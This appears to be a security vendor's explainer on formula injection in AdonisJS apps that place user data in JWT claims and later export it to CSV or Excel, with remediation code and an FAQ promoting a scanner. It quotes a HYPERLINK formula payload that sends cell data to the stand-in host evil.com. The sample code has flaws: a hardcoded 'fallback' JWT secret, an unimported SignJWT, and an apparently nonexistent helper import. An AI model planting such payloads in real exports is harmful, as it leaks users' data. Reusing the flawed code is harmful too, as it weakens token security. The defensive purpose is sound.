HIGH formula injectionadonisjsjwt tokens

Formula Injection in Adonisjs with Jwt Tokens

Formula Injection in Adonisjs with Jwt Tokens — how this specific combination creates or exposes the vulnerability

Formula Injection occurs when an attacker can inject a formula-like payload (e.g., starting with =, +, or -) into data that is later rendered in a spreadsheet, CSV export, or interpreted by a formula engine. In AdonisJS applications that issue JSON Web Tokens (JWTs) and also export user-influenced data to spreadsheet formats, the combination can expose sensitive data or enable code execution-like behavior in downstream systems.

Consider an AdonisJS route that generates a JWT containing user-controlled fields (such as email or name) and then exports profile data as a CSV or Excel file. If the exported values are not sanitized, an attacker can supply a payload like "=HYPERLINK(\"http://evil.com/"&A1, \"steal\")" into a profile field. When the CSV is opened in Excel, the formula executes, triggering an outbound request or other behavior. Because the data was originally issued as a JWT (e.g., used for session or API authentication), the application implicitly trusts the exported values, increasing the chance that malicious payloads are persisted and later exported without validation.

JWTs themselves do not execute code, but they can carry claims that are later reflected in exported content. If an application signs a JWT with a payload that includes unsanitized user input and then uses that same input in spreadsheet exports, the trust chain between authentication and output creates a pathway for Formula Injection. Attackers may also attempt to manipulate exported reports by injecting formulas into fields like usernames or organization identifiers, relying on the JWT-based authorization context to bypass stricter validation checks.

Another angle involves JWT introspection or user claims being exported directly. For example, if an admin exports audit logs containing JWT payloads or claims to a spreadsheet, unsanitized fields such as session IDs or custom attributes can introduce formulas. This mirrors common injection patterns seen in OWASP API Top 10 risks around data exposure and improper validation, where output handling is weaker than the input validation applied during authentication.

To detect this pattern, scanning should verify that user data placed into JWTs is also sanitized before export, and that exported formats (CSV, XLSX) are treated as untrusted output. middleBrick checks such cross-context validation as part of its 12 security checks, highlighting places where authentication outputs feed into reporting or export functionality without proper encoding or validation.

Jwt Tokens-Specific Remediation in Adonisjs — concrete code fixes

Remediation focuses on sanitizing any data that originates from JWT claims before it reaches export or public contexts. Treat JWT payloads as untrusted when reflected into spreadsheets, CSVs, or other formula-capable formats. Below are concrete AdonisJS examples showing secure handling.

Example 1: Issuing a JWT with sanitized claims

Always sanitize user data before including it in a JWT payload. Use an escaping or normalization helper for text that may travel into reports.

import { base64urlencode } from 'jose';

export async function generateToken(user) {
  // Sanitize fields that may later be exported
  const safeName = user.name.replace(/[=\+\-@\t\n\r\s]+/g, '_');
  const payload = {
    sub: user.id,
    email: user.email,
    name: safeName,
    org: (user.org || 'default').replace(/[=\+\-@\t\n\r\s]+/g, '_'),
    iat: Math.floor(Date.now() / 1000),
    exp: Math.floor(Date.now() / 1000) + 60 * 60
  };
  const secret = new TextEncoder().encode(process.env.JWT_SECRET || 'fallback');
  return await new SignJWT(payload)
    .setProtectedHeader({ alg: 'HS256', typ: 'JWT' })
    .setIssuer('adonisjs-app')
    .setAudience('api')
    .sign(secret);
}

Example 2: Validating and encoding data before export

When exporting user data to CSV or Excel, encode values and reject or escape formula-indicative prefixes.

import { csvEncode } from '@ioc:AdonisJS/Helpers';

export function sanitizeForExport(value: string): string {
  if (!value) return value;
  const trimmed = value.trim();
  if (/^[=\+\-@\t]/.test(trimmed)) {
    // Prefix with a single quote to force text interpretation in Excel
    return "'" + trimmed;
  }
  return trimmed;
}

export function exportUsersToCsv(users: Array<{ name: string; email: string; org: string }>) {
  const rows = users.map(u => ({
    name: sanitizeForExport(u.name),
    email: sanitizeForExport(u.email),
    org: sanitizeForExport(u.org)
  }));
  return csvEncode(rows);
}

Example 3: Middleware to reject risky claims in sensitive contexts

Add a lightweight runtime check to ensure JWT claims used in reporting do not contain dangerous patterns.

export const validateReportClaims = (claims: any) => {
  const riskyKeys = ['name', 'org', 'email'];
  for (const key of riskyKeys) {
    const val = claims[key];
    if (typeof val === 'string' && /^[=\+\-@]/.test(val.trim())) {
      throw new Error('Invalid claim value for export: ' + key);
    }
  }
  return claims;
};

These examples ensure JWT-derived data is normalized before inclusion in export workflows, preventing Formula Injection while preserving usability. Complementary protections such as output encoding and input validation align with OWASP API Security Top 10 and common compliance mappings.

Frequently Asked Questions

Can a JWT be used to deliver a formula injection payload if the token itself is exported to a spreadsheet?
Yes. If JWT claims containing unsanitized user input are exported to CSV or Excel, formula payloads (e.g., starting with = or +) can execute when the file is opened. Always sanitize JWT claim values before export.
Does middleBrick detect Formula Injection risks involving JWTs and export functionality?
middleBrick scans such cross-context flows as part of its 12 checks, flagging where authentication outputs feed into reporting or export without proper validation or encoding.